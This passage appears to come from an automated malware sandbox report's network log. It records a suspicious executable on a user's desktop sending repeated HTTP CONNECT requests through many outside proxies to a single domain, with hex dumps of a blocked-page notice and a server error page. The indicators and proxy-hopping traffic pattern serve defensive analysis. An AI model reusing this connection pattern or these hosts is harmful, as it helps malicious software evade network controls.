2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 35 3a 34 32 3a 33 31 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 15:42:31 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.11	54604	104.247.163.246	54094	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.621180058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.641959906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.642199993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.657417059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.11	52408	200.114.84.190	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.667943001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.844845057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.938786030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.938843966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.985364914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.11	54702	92.204.135.37	63462	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.682240009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.11	54737	40.76.160.143	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.684799910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.11	52479	4.144.161.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.695596933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.11	52797	188.235.0.207	8181	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.695883036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.823961020 CET	994	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:59 GMT Server: Apache/2.4.55 (Win64) OpenSSL/1.1.1s Access-Control-Allow-Origin: * Access-Control-Max-Age: 1000 Access-Control-Allow-Headers: X-Requested-With, Content-Type, Origin, Authorization, Accept, Client-Security-Token, Accept-Encoding Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.11	54660	5.10.249.159	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.698347092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.746459961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.438858032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.11	55016	142.54.226.214	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.699727058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.11	54735	107.180.88.41	37597	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.699958086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.845060110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.938795090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.938754082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.985371113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.11	55038	192.111.130.5	17002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.718542099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.11	52613	51.89.173.40	54570	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.718854904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.312535048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.867662907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142265081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.11	52619	148.72.206.250	14076	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.724005938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.845109940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.938837051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.938927889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.985374928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.11	52790	192.99.207.129	29360	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.731389999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.11	50807	192.111.134.10	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.742750883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.11	53663	98.162.25.23	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.744762897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.11	55126	138.36.150.26	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.745085001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.11	55101	74.118.80.244	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.764870882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.11	52676	45.81.232.17	21481	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.774955988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876249075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876558065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.891937017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.969749928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.969747066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.970330954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.079082012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:32.078922987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.11	52814	38.7.204.129	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.774960041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876276970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876579046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.891958952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.969748974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.969747066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.970325947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.079091072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
